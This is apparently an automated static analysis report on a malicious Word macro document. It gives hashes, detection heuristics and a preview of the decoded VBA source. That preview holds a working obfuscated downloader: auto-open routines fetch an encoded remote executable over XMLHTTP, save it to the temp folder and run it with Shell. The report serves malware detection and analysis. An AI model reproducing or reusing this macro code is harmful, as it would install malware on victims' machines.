Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9659be0ec03fafce…

MALICIOUS

Office (OLE)

79.0 KB Created: 2014-10-23 17:19:00 Authoring application: Microsoft Office Word First seen: 2014-11-24
MD5: f661e7e18b4b57f1069cf276ff427257 SHA-1: ae6fe7d7e80d7271b902a482d1ece2a73f082eba SHA-256: 9659be0ec03fafcea7200032cdf3434ba14c99b9a8e0c3a16f5419d3817c48de
334 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        HCVMSQIHDCP = Shell(SLYKKOLAEQT, 1)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set TNGEBAHUNYK = CreateObject(StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("534D")) + "XML2.XML" + "HTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TNGEBAHUNYK = CreateObject(StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("534D")) + "XML2.XML" + "HTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        RMVFJNRAUCC StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6578652E6E69622F736A2F6C6D74682F6F722E6D7261666172696D2F2F3A70747468")), Environ("TEMP") & "\TBMUVAERYFM.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33581 bytes
SHA-256: 312f6e3e1083da171529f0ecbf4cf753aff8d34dc7e89ec89142b2fabd240fb0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
246 of 344 identifiers look randomly generated (e.g. 'C6D6364796C6D736F6C6B6E666177686166766D7') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
GoTo jgzmyykoxarzaegbsdkcmrihpvjkorvlgtruwswrhwq
Dim zjbqbsacumqteflxkyghzwaeifjmznorfutzjydsuah As String
Open "caukcrkgkbxupnahlbvbvcbehbrtcnbxblbwhmyvxph" For Binary As #76509
Put #76509, , zjbqbsacumqteflxkyghzwaeifjmznorfutzjydsuah
Close #76509
jgzmyykoxarzaegbsdkcmrihpvjkorvlgtruwswrhwq:
GoTo yxgdigwuayxsgbyyjddnrinkatggpqm
Dim vjakjvcamlnuxuwpgwdyhdschzaakoq As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("72647378787971696978687275646B6570666A666F726B78646277686C656C")) For Binary As #36718
Put #36718, , vjakjvcamlnuxuwpgwdyhdschzaakoq
Close #36718
yxgdigwuayxsgbyyjddnrinkatggpqm:
GoTo txbnvkfqqzwcerlcrlagjxthzostqpvxapabmcxtunm
Dim avsljxctfpkuvgrpzcbysznepnshwfobmxadckrdmyc As String
Open "ojnqqiuhcpjvsyqotzgwhrxkilwkhbvtsfqvoqtskfi" For Binary As #36429
Put #36429, , avsljxctfpkuvgrpzcbysznepnshwfobmxadckrdmyc
Close #36429
txbnvkfqqzwcerlcrlagjxthzostqpvxapabmcxtunm:
GoTo xfjypwtpvurryqunafjjwsihignqffm
Dim dpwtsflwwlwymwzvewaioqthpmzuxqn As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6D6D697168616C7662736C77696A676D796F6865796163767A736465677A6F")) For Binary As #56892
Put #56892, , dpwtsflwwlwymwzvewaioqthpmzuxqn
Close #56892
xfjypwtpvurryqunafjjwsihignqffm:
GoTo frupqoujkevbdfmkbbnpbqivdgtozgywdoyfavelfos
Dim qgyzfrcottoiirmdggfwglhtsinovywxaorpdfdvcus As String
Open "dmauihnfwwlhtdezpfwprqpljjtokhrhexbcljpdiwk" For Binary As #45172
Put #45172, , qgyzfrcottoiirmdggfwglhtsinovywxaorpdfdvcus
Close #45172
frupqoujkevbdfmkbbnpbqivdgtozgywdoyfavelfos:
GoTo zwtkqmolvxtjabblyjaoydjmztkahre
Dim pzxicarywyfxqagnrjxfblfvpdtnats As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6A6766726965746B62706C6A73667673646F61736A7A676B76766864706E71")) For Binary As #27977
Put #27977, , pzxicarywyfxqagnrjxfblfvpdtnats
Close #27977
zwtkqmolvxtjabblyjaoydjmztkahre:
GoTo zbimwshushznsasgqyqzehfuoyasnvsrelaozalvfbz
Dim jmxqxybpchiprphsusjfhftcucazmlviqwscytaettu As String
Open "yweqrzrrzgvtkbvkbidturmefdokgpnldfwdihgcegu" For Binary As #22216
Put #22216, , jmxqxybpchiprphsusjfhftcucazmlviqwscytaettu
Close #22216
zbimwshushznsasgqyqzehfuoyasnvsrelaozalvfbz:
FFTZHJULOTN
End Sub
Sub AutoOpen()
GoTo ybvjzkcqcflcpvkzpvytfrsnlgpkpxvfwjzxburynvv
Dim ogfkwfzvwdkiypyonnxjobvezcncjzfivbxziooiivi As String
Open "vzkjhegnhtdsuhptiwyxwkykxcbqqmkfiighijtppti" For Binary As #66964
Put #66964, , ogfkwfzvwdkiypyonnxjobvezcncjzfivbxziooiivi
Close #66964
ybvjzkcqcflcpvkzpvytfrsnlgpkpxvfwjzxburynvv:
GoTo xmbrsnfxheahsxkclcncypdlrbzriuh
Dim zttujmqklgejkjvhxxtaexxpkanxyye As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7A676E646F706C766D76697471707A6C627171627476716B70786E79796365")) For Binary As #49681
Put #49681, , zttujmqklgejkjvhxxtaexxpkanxyye
Close #49681
xmbrsnfxheahsxkclcncypdlrbzriuh:
GoTo gejktovmgvmwtfowirplhgqdzfgsmqmrisjokpzhpqj
Dim kprlgtxrxcngqmbqbynazugigxeutljmdpkimxnkela As String
Open "ofnsribhqklvxhqzljoslxjyscxtvccgiuiazucsngp" For Binary As #81296
Put #81296, , kprlgtxrxcngqmbqbynazugigxeutljmdpkimxnkela
Close #81296
gejktovmgvmwtfowirplhgqdzfgsmqmrisjokpzhpqj:
GoTo mmvxsjboxgnhrdjqaxefbskdxjiqdja
Dim nqggtjpblmyxvhtmmxjyjkgmzcvkbko As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("646F6A626C726C7A7A656B746B716C75626B6C6166676F6572657A7879776B")) For Binary As #18207
Put #18207, , nqggtjpblmyxvhtmmxjyjkgmzcvkbko
Close #18207
mmvxsjboxgnhrdjqaxefbskdxjiqdja:
GoTo ddgfeptzbuhmymyuuqsjpfvnexkzahxadoxeddjoomd
Dim nmhvtvmtnisptriecjykpyvvbomuuffxtgzcsmeppka As String
Open "xigpbthobsdogxutaqneiyftutkudmfwblfpkhwgqak" For Binary As #62725
Put #62725, , nmhvtvmtnisptriecjykpyvvbomuuffxtgzcsmeppka
Close #62725
ddgfeptzbuhmymyuuqsjpfvnexkzahxadoxeddjoomd:
GoTo nzywrxvxiiybpgnqfniqgahtsrvpjij
Dim uguoyfrdwwempsmjuuaqpvphibqdelz As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6F75696C677876706F67797A68646369796479717664616F6F776774676A63")) For Binary As #64949
Put #64949, , uguoyfrdwwempsmjuuaqpvphibqdelz
Close #64949
nzywrxvxiiybpgnqfniqgahtsrvpjij:
GoTo seetnzlmrqctnsvjtqvpalxcwltocjeaxbjtuiacdfy
Dim gzoyyijrslzlxbdgzrdwyzulcazhqjptjykrkphbcdl As String
Open "jhbhesglvxwrxnlcoxwalujdqveusqgxecilkfjsnsj" For Binary As #36554
Put #36554, , gzoyyijrslzlxbdgzrdwyzulcazhqjptjykrkphbcdl
Close #36554
seetnzlmrqctnsvjtqvpalxcwltocjeaxbjtuiacdfy:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo ixqiayutbcrhagpncmzuiftzmswombk
Dim uknzhucasybjhilljnlxyhjdxfymbvt As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6666756F64716973776676656B6C6A7869636876716B6464646D68796B647A")) For Binary As #33437
Put #33437, , uknzhucasybjhilljnlxyhjdxfymbvt
Close #33437
ixqiayutbcrhagpncmzuiftzmswombk:
GoTo bhtbdbdxamzjihngypvwgdhslpuzsdzwcbtaiptvxru
Dim wkokrwcbxmiasbdsxhzxnaikjmyefyyyzmtheghegde As String
Open "vvkydevbonadvypevndfkndmqltfpskragvsyagpsey" For Binary As #43753
Put #43753, , wkokrwcbxmiasbdsxhzxnaikjmyefyyyzmtheghegde
Close #43753
bhtbdbdxamzjihngypvwgdhslpuzsdzwcbtaiptvxru:
GoTo wojcplvqauixgwiwtnimtsnheqvskjl
Dim mtjlbzztykvqieiierljzrvqiwkyxoi As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("61637677777474746A6E71616F627976777776626472746477646277616966")) For Binary As #62967
Put #62967, , mtjlbzztykvqieiierljzrvqiwkyxoi
Close #62967
wojcplvqauixgwiwtnimtsnheqvskjl:
GoTo hcoveunrypolskddmmuzeefswtqmplpvidaqhrbbgah
Dim obchcfiulpydrmjmjrrfhqtklxqoxxtaugatsnuryos As String
Open "mrxnjliocoywdthmaafkguxwzymusdhmgswfzifmhyz" For Binary As #13926
Put #13926, , obchcfiulpydrmjmjrrfhqtklxqoxxtaugatsnuryos
Close #13926
hcoveunrypolskddmmuzeefswtqmplpvidaqhrbbgah:
    Auto_Open
End Sub
Function RMVFJNRAUCC(ByVal YGXDYTKSILF As String, ByVal SLYKKOLAEQT As String) As Boolean
     Dim TNGEBAHUNYK As Object, JCXSXDSBNEZ As Long, MUJGZDDPTYL As Long, EMJXURKLOXG() As Byte

GoTo dzvzmpptqcyegvkmiwjcqbmsrhdchggawwkquutrhvi
Dim ninravgkqcwggwqcbjxvwqmmndxoxstxcnkzyroyjfy As String
Open "qswjqnkamlcvyicjlnrvmysncffufydmqcudlkykxak" For Binary As #16312
Put #16312, , ninravgkqcwggwqcbjxvwqmmndxoxstxcnkzyroyjfy
Close #16312
dzvzmpptqcyegvkmiwjcqbmsrhdchggawwkquutrhvi:
GoTo mjnkkpikrbgvtolnpmsfkntghqowloa
Dim lyrzhwiwcotbkackgljaeyxhyduvxdx As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("616B796D64766A697A6B6B776D706979727964617877727A6C63626B647477")) For Binary As #47766
Put #47766, , lyrzhwiwcotbkackgljaeyxhyduvxdx
Close #47766
mjnkkpikrbgvtolnpmsfkntghqowloa:
GoTo xaulksbytuomlqadudvdlvokhdocknsccvzyocabrci
Dim ivoaqgqltitplbdncnwfqlohomqovvwujwpbuognydy As String
Open "rtibzcuttsuomhsaaszkjlnvqxioqpwhiydcvbfwgvc" For Binary As #40752
Put #40752, , ivoaqgqltitplbdncnwfqlohomqovvwujwpbuognydy
Close #40752
xaulksbytuomlqadudvdlvokhdocknsccvzyocabrci:
GoTo gcguysuquhtevcynxawuzbohukazktr
Dim fgrnaswufmfajncupagadfydycjoduf As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6B686868716877746C747467776264707A75626B6A67766C7A627777717178")) For Binary As #67626
Put #67626, , fgrnaswufmfajncupagadfydycjoduf
Close #67626
gcguysuquhtevcynxawuzbohukazktr:
GoTo zqboxspcdwktprlptsoyidyggivzdapctfhiglzsnnd
Dim vifpenikoljkylyizgbjgtqpukfkimmlmxkuvwmfonv As String
Open "ndqqlqyfrxbruqxlorhvnlsedgxolfeugsiecvmkzvc" For Binary As #14231
Put #14231, , vifpenikoljkylyizgbjgtqpukfkimmlmxkuvwmfonv
Close #14231
zqboxspcdwktprlptsoyidyggivzdapctfhiglzsnnd:
GoTo jeqhbrogyhytvupltkioocweqznftdi
Dim targhhtvdnrykivjmywangkeeyzlglu As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("77687A61766B6B7A76646D6D6770706E68657A7266696E7474787762636765")) For Binary As #62454
Put #62454, , targhhtvdnrykivjmywangkeeyzlglu
Close #62454
jeqhbrogyhytvupltkioocweqznftdi:
    Set TNGEBAHUNYK = CreateObject(StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("534D")) + "XML2.XML" + "HTTP")
GoTo wominwigqzjywawozhyhkjtghyzqnugtejmknpmuihb
Dim vzfalnlkfzflcpyymoeusgbwfczsmsmowlarxgofavz As String
Open "rwiuvcbtaooiocsdxtjnqiwgxkabaiwvjmwnnfewcnb" For Binary As #42667
Put #42667, , vzfalnlkfzflcpyymoeusgbwfczsmsmowlarxgofavz
Close #42667
wominwigqzjywawozhyhkjtghyzqnugtejmknpmuihb:
GoTo dmrmlismdaihaacefuuosjzkgdxisxn
Dim zjhtinjskczpgtutskjnmjetvmqiduc As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6C66787367686676687365646D736F727970637A70616179646E646F686B6A")) For Binary As #78937
Put #78937, , zjhtinjskczpgtutskjnmjetvmqiduc
Close #78937
dmrmlismdaihaacefuuosjzkgdxisxn:
GoTo mqieecsakrpisisfgxrzncictshtldbgyhttmzuwgnm
Dim rexxxlxgdeuwrlhawjqfpzaselghwyolrkyoxjkmtuc As String
Open "iztryocpmeonjsndmpzufyrieeyufvdxiyvlccoqrtx" For Binary As #30441
Put #30441, , rexxxlxgdeuwrlhawjqfpzaselghwyolrkyoxjkmtuc
Close #30441
mqieecsakrpisisfgxrzncictshtldbgyhttmzuwgnm:
GoTo ygcjbovzzdbvxhgqivpextclucnhivq
Dim gyvtnardtvxnzdjjstdrkqlsgheucyv As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("73796B626977677664657A6F66706C666B79776B6F797A7273756579627966")) For Binary As #92766
Put #92766, , gyvtnardtvxnzdjjstdrkqlsgheucyv
Close #92766
ygcjbovzzdbvxhgqivpextclucnhivq:
GoTo ixpprgoqsjupayfauevxriftdezbtxwjvvaspbtnhgo
Dim dvvdcpwrvhreehkbvbzgjutzsppuyjgwxnahtwgtyxt As String
Open "qufymnxcnfkkbfyogwgdzoullskbnerikawgbaffmnb" For Binary As #99350
Put #99350, , dvvdcpwrvhreehkbvbzgjutzsppuyjgwxnahtwgtyxt
Close #99350
ixpprgoqsjupayfauevxriftdezbtxwjvvaspbtnhgo:
GoTo iwptzsflgklqwvdfegfdqjipwpiiswb
Dim jmdttegntaanhdexqxlvennvvofwqma As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("797071796B7463636E726B6A78706A66737773706C6A6F77646B676A6F6D6E")) For Binary As #13360
Put #13360, , jmdttegntaanhdexqxlvennvvofwqma
Close #13360
iwptzsflgklqwvdfegfdqjipwpiiswb:
    TNGEBAHUNYK.Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("544547")), YGXDYTKSILF, False
GoTo ebsrgqkwfifmdxryuxonnirimwabyoliudzihtzflig
Dim ygltxjhbpudzmiztcvnirskgwskedougazxununhsin As String
Open "ecjqgvespagpinoummkxwsycdbyeytizwvgtgcbooqg" For Binary As #97694
Put #97694, , ygltxjhbpudzmiztcvnirskgwskedougazxununhsin
Close #97694
ebsrgqkwfifmdxryuxonnirimwabyoliudzihtzflig:
GoTo dezooiyhfhgzordmkfnejggvogiqhny
Dim qsviaqwbpndcdtjbpwoctrdvzmwyvfy As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("736C67676777636376696E6E69636564666E7A7A6B756E7A616971687A6B75")) For Binary As #86457
Put #86457, , qsviaqwbpndcdtjbpwoctrdvzmwyvfy
Close #86457
dezooiyhfhgzordmkfnejggvogiqhny:
GoTo potghdtqklvyqhnktmhsxcgdbpxtlxbqkrklrhtlerr
Dim ytuvkjafkqpklzafzvzdcjgsqurqbpjfpmjpwdpqrzw As String
Open "iacygpnmscqrqxjxpgaoydcxvrgzuvpwbjutwyptupq" For Binary As #75475
Put #75475, , ytuvkjafkqpklzafzvzdcjgsqurqbpjfpmjpwdpqrzw
Close #75475
potghdtqklvyqhnktmhsxcgdbpxtlxbqkrklrhtlerr:
GoTo eeltbxwsfnetkbobhkfnahyhodcmnzr
Dim zvfptrcrdpudvytagufyzoozvloctsc As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7A70736379736B69696F696D64716B6867776F757A6E686F6A656A6663786A")) For Binary As #32845
Put #32845, , zvfptrcrdpudvytagufyzoozvloctsc
Close #32845
eeltbxwsfnetkbobhkfnahyhodcmnzr:
GoTo afqqcxnxhdadnbzeekhorkkidmiqvfkyjtxkwayjszw
Dim vmwdbneyhfvvneckpgpptpkyyvlheauloazoqbpkdsl As String
Open "qofvvnrxwyglhtyuqnoeiqfsvynoltraoyfacxcflbx" For Binary As #63271
Put #63271, , vmwdbneyhfvvneckpgpptpkyyvlheauloazoqbpkdsl
Close #63271
afqqcxnxhdadnbzeekhorkkidmiqvfkyjtxkwayjszw:
GoTo nfczmxoahwgedjhmdnwxtjdwaasidov
Dim bievgcbtlgutkzxqtbmmwlxzcfhnmid As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("68656672737A666D7170726D6C6E7462686470666476676E77796571636969")) For Binary As #65444
Put #65444, , bievgcbtlgutkzxqtbmmwlxzcfhnmid
Close #65444
nfczmxoahwgedjhmdnwxtjdwaasidov:
GoTo iopwugmqycoozgfdwbqeumucyndfgpqbelkgxfcncjx
Dim ryxdolrfyvtwzphnixvruwyzaccmzipobvjypammbtp As String
Open "gsxpffgdyledqthvszxoyvclfyxcxwsapticndfryyb" For Binary As #76615
Put #76615, , ryxdolrfyvtwzphnixvruwyzaccmzipobvjypammbtp
Close #76615
iopwugmqycoozgfdwbqeumucyndfgpqbelkgxfcncjx:
    TNGEBAHUNYK.Send "send request"

GoTo sxbfgzdqelypkeqapryoabxxitogyczsuptbdkohdmb
Dim bimvjbyfelwekmevmqdpaqxpdwwafzdcajrksfvjfjc As String
Open "qilfinencplnhxzzisunkpkffgbjhsgdxdnlcnpqvio" For Binary As #63948
Put #63948, , bimvjbyfelwekmevmqdpaqxpdwwafzdcajrksfvjfjc
Close #63948
sxbfgzdqelypkeqapryoabxxitogyczsuptbdkohdmb:
GoTo brffecrjzhcarqruanhjvrmkmukubzt
Dim gdjsxtlnknzdbeitrhmufxbkswsxymr As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("786C696F6E7A656B73687768777A68666273626E71696C6A647A7067746165")) For Binary As #44965
Put #44965, , gdjsxtlnknzdbeitrhmufxbkswsxymr
Close #44965
brffecrjzhcarqruanhjvrmkmukubzt:
GoTo olkgnffmxsjkdppoodprdudndrgnvevextaxrqnvvej
Dim thqvakuzxddadjxtbmjtfsdbtqvxwqhhhsmgejfnbzh As String
Open "hamnbfghmruzqxealvohhhmewgxwpbzfxswfnjapdkz" For Binary As #12602
Put #12602, , thqvakuzxddadjxtbmjtfsdbtqvxwqhhhsmgejfnbzh
Close #12602
olkgnffmxsjkdppoodprdudndrgnvevextaxrqnvvej:
GoTo zpcmxewhrzxyshhjoiqxgcvkaxpewgh
Dim qkhaycexcrrfvrybuhtujtgeezhhozl As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("62726F71717577776673646D6D67726A677A6F62786F6D6A776F6870786C73")) For Binary As #42961
Put #42961, , qkhaycexcrrfvrybuhtujtgeezhhozl
Close #42961
zpcmxewhrzxyshhjoiqxgcvkaxpewgh:
GoTo umgavhzzyxevfyivuaswytuxxfkivkpmjfyykxrlcdd
Dim rvjznqjtyxkufdppvbueumuphamrehazoitnjoiqvqa As String
Open "lthularoyjqyxqixamnutmvqbvkrnsslsxbvrbuctfk" For Binary As #34321
Put #34321, , rvjznqjtyxkufdppvbueumuphamrehazoitnjoiqvqa
Close #34321
umgavhzzyxevfyivuaswytuxxfkivkpmjfyykxrlcdd:
GoTo zfhhznysxwcpbguucxpudybclrpvztc
Dim poclnaxunghxdigakzkxaiuggybgoes As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6274796971767073716A656E78736A7366797A776A76676762657169787A78")) For Binary As #48555
Put #48555, , poclnaxunghxdigakzkxaiuggybgoes
Close #48555
zfhhznysxwcpbguucxpudybclrpvztc:
GoTo ulrwljymdyswtobryavvbzrozoryollnnqaixkhrkhy
Dim ehydwqsxdubfrhmlxvwbbhrugyhwjjopqbaazgwtltt As String
Open "zdndvywlrmoqwywdpewggmmmojwrnedzukeercepdfk" For Binary As #43531
Put #43531, , ehydwqsxdubfrhmlxvwbbhrugyhwjjopqbaazgwtltt
Close #43531
ulrwljymdyswtobryavvbzrozoryollnnqaixkhrkhy:
    Do While TNGEBAHUNYK.readyState <> 4
GoTo nawegviicgdqxfvtlbmgjuyopxunvpvhakjmmbanunz
Dim edyxtqqxigmfhcawyqvyatnbisyibgiqmqkgcwptmyu As String
Open "hxobldsmbdvhksfkiwwdzoijmfgjjnfrtlonqymuadg" For Binary As #61717
Put #61717, , edyxtqqxigmfhcawyqvyatnbisyibgiqmqkgcwptmyu
Close #61717
nawegviicgdqxfvtlbmgjuyopxunvpvhakjmmbanunz:
GoTo lrrwlwneqkuvaivwnczoyvjtayndeaz
Dim navedxmapakecbhsvebeiyyprtevpuv As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6D786A686C6D6E6C64697072617A7A6C7A616867796A73666F6A727271636D")) For Binary As #21926
Put #21926, , navedxmapakecbhsvebeiyyprtevpuv
Close #21926
lrrwlwneqkuvaivwnczoyvjtayndeaz:
GoTo hitqturlqbaehhmezfzytbeoxuwgtncovrxluoeanrq
Dim pppzvdhrgbbhivflaiinlcvbpvqvywicxyxrwffylfh As String
Open "lwhkeaxpscettaovxrejilloqlipumamojgmyfbcghq" For Binary As #36227
Put #36227, , pppzvdhrgbbhivflaiinlcvbpvqvywicxyxrwffylfh
Close #36227
hitqturlqbaehhmezfzytbeoxuwgtncovrxluoeanrq:
GoTo rgarkzlxsuzaggqgtxvcuohsjajcrxv
Dim zxgwirfrulosuhtfnsuhvmfslcssgmc As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7764746D6A72657764687A69766B6F686A6B776E7A736A756C61776F76756F")) For Binary As #36504
Put #36504, , zxgwirfrulosuhtfnsuhvmfslcssgmc
Close #36504
rgarkzlxsuzaggqgtxvcuohsjajcrxv:
GoTo ynscekrrzpqrmtrchrmwotzpfkkinquynqjnvtsxcyi
Dim sahhxxhitpkjwhopemvxeefnsujlacwpvejfoazqggr As String
Open "rzdhfvobaiecshyvminbqhwfarhwphpnaxolexfxcxj" For Binary As #40373
Put #40373, , sahhxxhitpkjwhopemvxeefnsujlacwpvejfoazqggr
Close #40373
ynscekrrzpqrmtrchrmwotzpfkkinquynqjnvtsxcyi:
GoTo gmkzbtimctcsisiujpejjdqutbeahvr
Dim redmyjawzkmihzrzgmevnyedpfkvzhc As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6E697469736E766E616A6E786D706B72786B6F66706564666B6A707677696E")) For Binary As #32642
Put #32642, , redmyjawzkmihzrzgmevnyedpfkvzhc
Close #32642
gmkzbtimctcsisiujpejjdqutbeahvr:
GoTo ezkesqyyswquvppxiqddplsaorqpdfawkdcslbmqtef
Dim oejrcfcnkegkwdpubijcmkioimxphtvxgdzowgibhqg As String
Open "ngynmqhkqqnfvamqgfizrqpjblwaupgsoffuxxytity" For Binary As #9420
Put #9420, , oejrcfcnkegkwdpubijcmkioimxphtvxgdzowgibhqg
Close #9420
ezkesqyyswquvppxiqddplsaorqpdfawkdcslbmqtef:
    DoEvents
GoTo qhzlcrtxwspjbfgfoxykpqblcxtadgfjtzabsdpfpkc
Dim rtmqelekmaoszmwdbbxajxpcjexyifwzmwsvzgbhwjy As String
Open "vbefzeysutspghbrlytacmzxgrfrmianykwjtmxmndk" For Binary As #48352
Put #48352, , rtmqelekmaoszmwdbbxajxpcjexyifwzmwsvzgbhwjy
Close #48352
qhzlcrtxwspjbfgfoxykpqblcxtadgfjtzabsdpfpkc:
GoTo uguoyfrdwwempsmjuuaqpvphibqdelz
Dim yohxzgpiygvabtyiayuuunwurmywqkm As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("79696D7869616A64717877626A6861687361786F77636777776B6B6270626E")) For Binary As #26939
Put #26939, , yohxzgpiygvabtyiayuuunwurmywqkm
Close #26939
uguoyfrdwwempsmjuuaqpvphibqdelz:
GoTo kvihptfyfxbcnmdlupbjgkwfteipfamxmqtovrhyobi
Dim fzpbxoiqgczubtggvuwkhzwsmlqypnkywvtsxqwuphu As String
Open "awixglvtfjctyxdjaoxefzopogiyhxlfxabnsuqdlnc" For Binary As #39835
Put #39835, , fzpbxoiqgczubtggvuwkhzwsmlqypnkywvtsxqwuphu
Close #39835
kvihptfyfxbcnmdlupbjgkwfteipfamxmqtovrhyobi:
GoTo otsuetrjcexobwwhdrrthuguymxtyno
Dim lxxfzvokmhvhsnglsgdxguvckvqtupy As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7874616363787863636F6D66616A6963707062687177666D667971646C6E67")) For Binary As #41691
Put #41691, , lxxfzvokmhvhsnglsgdxguvckvqtupy
Close #41691
otsuetrjcexobwwhdrrthuguymxtyno:
GoTo kjnyhyncpytwkdqmypppttkarmvinsuzouazqmmpdsf
Dim wtguceblktrgfnubxxnwsndybodgrsvkfjspssgxcav As String
Open "emwkzvxgdmfqgnvypfjaczxletxygglyltwyatgnbmc" For Binary As #71475
Put #71475, , wtguceblktrgfnubxxnwsndybodgrsvkfjspssgxcav
Close #71475
kjnyhyncpytwkdqmypppttkarmvinsuzouazqmmpdsf:
GoTo kzuhfedyargxddnnqgfjqsrugaypmro
Dim ngithxpvzjscdmaccctjvbmkzwddggg As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6B68756463777A70796263666A6A7378687A756A6162756D7A646A63767966")) For Binary As #46266
Put #46266, , ngithxpvzjscdmaccctjvbmkzwddggg
Close #46266
kzuhfedyargxddnnqgfjqsrugaypmro:
GoTo ypzxcjqjolonbxhdraolhmwypjprtwmniirzkxmipls
Dim pmmxrflzjkipziespdbazqhdfbnaaqjedkypmvgpelx As String
Open "njtkvqbjcxvffqmkwigdqsjnecaxnxgwsovrpyjtmre" For Binary As #23514
Put #23514, , pmmxrflzjkipziespdbazqhdfbnaaqjedkypmvgpelx
Close #23514
ypzxcjqjolonbxhdraolhmwypjprtwmniirzkxmipls:
    Loop

GoTo wtguceblktrgfnubxxnwsndybodgrsvkfjspssgxcav
Dim jwjlbyqdkylbfeozaoresqdrqycasmhsyxadanqvvkx As String
Open "jgdrjsfrknyfxhymnbkymnqhutwgmbvvtqeikkfkexd" For Binary As #35260
Put #35260, , jwjlbyqdkylbfeozaoresqdrqycasmhsyxadanqvvkx
Close #35260
wtguceblktrgfnubxxnwsndybodgrsvkfjspssgxcav:
GoTo hwtssrplzhqqfnvfldrgcmmeviowalt
Dim gndgjtncbnxelweyzsaqpsoxpzvpnkz As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6663716C736F7A717368776867787A746C6779737A6F7164637571636D6375")) For Binary As #9901
Put #9901, , gndgjtncbnxelweyzsaqpsoxpzvpnkz
Close #9901
hwtssrplzhqqfnvfldrgcmmeviowalt:
GoTo pmmxrflzjkipziespdbazqhdfbnaaqjedkypmvgpelx
Dim ycstykxtjkrrpftbmmesxchayxovukyhtxtdnzqxrup As String
Open "zejrqyhuszkbziopiehithvcixiwztppkybtmlhvtkz" For Binary As #46362
